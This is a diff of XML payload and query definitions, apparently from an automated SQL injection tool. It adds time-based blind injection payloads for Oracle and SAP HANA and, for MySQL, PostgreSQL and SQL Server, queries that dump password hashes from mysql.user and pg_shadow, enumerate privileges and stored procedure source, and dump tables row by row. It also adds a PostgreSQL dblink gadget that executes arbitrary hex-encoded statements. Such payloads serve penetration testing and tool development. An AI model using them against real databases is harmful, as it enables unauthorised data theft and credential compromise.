<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
|
||||||
|
<test>
|
||||||
|
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
|
||||||
|
<request>
|
||||||
|
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Oracle</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1980,9 +2077,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -2072,6 +2169,25 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Oracle</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
|
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -2170,5 +2286,82 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA AND time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA OR time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+318
-76
@@ -20,6 +20,9 @@
|
|||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="HEX(%s)"/>
|
<hex query="HEX(%s)"/>
|
||||||
<inference query="ORD(MID((%s),%d,1))>%d"/>
|
<inference query="ORD(MID((%s),%d,1))>%d"/>
|
||||||
|
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))>>MOD(%s-%s,%s))&1)=1"/>
|
||||||
|
<bitchar query="((ORD(MID((%s),%s,1))>>(%s))&1)=1"/>
|
||||||
|
<bitcol query="((%s>>%s)&1)=1"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER()"/>
|
<current_user query="CURRENT_USER()"/>
|
||||||
<current_db query="DATABASE()"/>
|
<current_db query="DATABASE()"/>
|
||||||
@@ -35,8 +38,8 @@
|
|||||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||||
<!-- https://stackoverflow.com/a/31122246 -->
|
<!-- https://stackoverflow.com/a/31122246 -->
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||||
@@ -47,6 +50,10 @@
|
|||||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||||
</statements>
|
</statements>
|
||||||
|
<procedures>
|
||||||
|
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||||
|
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||||
|
</procedures>
|
||||||
<dbs>
|
<dbs>
|
||||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||||
@@ -61,7 +68,8 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||||
@@ -78,7 +86,7 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
<cast query="CAST(%s AS TEXT)"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||||
<isnull query="COALESCE(%s::text,' ')"/>
|
<isnull query="COALESCE(%s::text,' ')"/>
|
||||||
@@ -96,6 +104,9 @@
|
|||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
|
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
|
||||||
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
|
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
|
||||||
|
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))>>((%s-%s)%%%s))&1)=1"/>
|
||||||
|
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))>>(%s))&1)=1"/>
|
||||||
|
<bitcol query="((%s>>%s)&1)=1"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
<current_db query="CURRENT_SCHEMA()"/>
|
<current_db query="CURRENT_SCHEMA()"/>
|
||||||
@@ -114,14 +125,22 @@
|
|||||||
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
<inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||||
</privileges>
|
</privileges>
|
||||||
<roles/>
|
<roles/>
|
||||||
<statements>
|
<statements>
|
||||||
<inband query="SELECT query FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
<inband query="SELECT query FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||||
</statements>
|
</statements>
|
||||||
|
<procedures>
|
||||||
|
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||||
|
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||||
|
</procedures>
|
||||||
|
<gadgets>
|
||||||
|
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
|
||||||
|
<dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
|
||||||
|
</gadgets>
|
||||||
<dbs>
|
<dbs>
|
||||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||||
@@ -136,7 +155,8 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||||
@@ -153,8 +173,8 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||||
<isnull query="ISNULL(%s,' ')"/>
|
<isnull query="ISNULL(%s,' ')"/>
|
||||||
<delimiter query="+"/>
|
<delimiter query="+"/>
|
||||||
<limit query="SELECT TOP %d "/>
|
<limit query="SELECT TOP %d "/>
|
||||||
@@ -170,6 +190,9 @@
|
|||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
|
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
|
||||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
|
||||||
|
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
|
||||||
|
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
|
||||||
<banner query="SELECT @@VERSION"/>
|
<banner query="SELECT @@VERSION"/>
|
||||||
<current_user query="SELECT SYSTEM_USER"/>
|
<current_user query="SELECT SYSTEM_USER"/>
|
||||||
<current_db query="SELECT DB_NAME()"/>
|
<current_db query="SELECT DB_NAME()"/>
|
||||||
@@ -193,6 +216,11 @@
|
|||||||
<inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
<inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||||
<blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
<blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||||
</statements>
|
</statements>
|
||||||
|
<!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
|
||||||
|
<procedures>
|
||||||
|
<inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||||
|
<blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||||
|
</procedures>
|
||||||
<dbs>
|
<dbs>
|
||||||
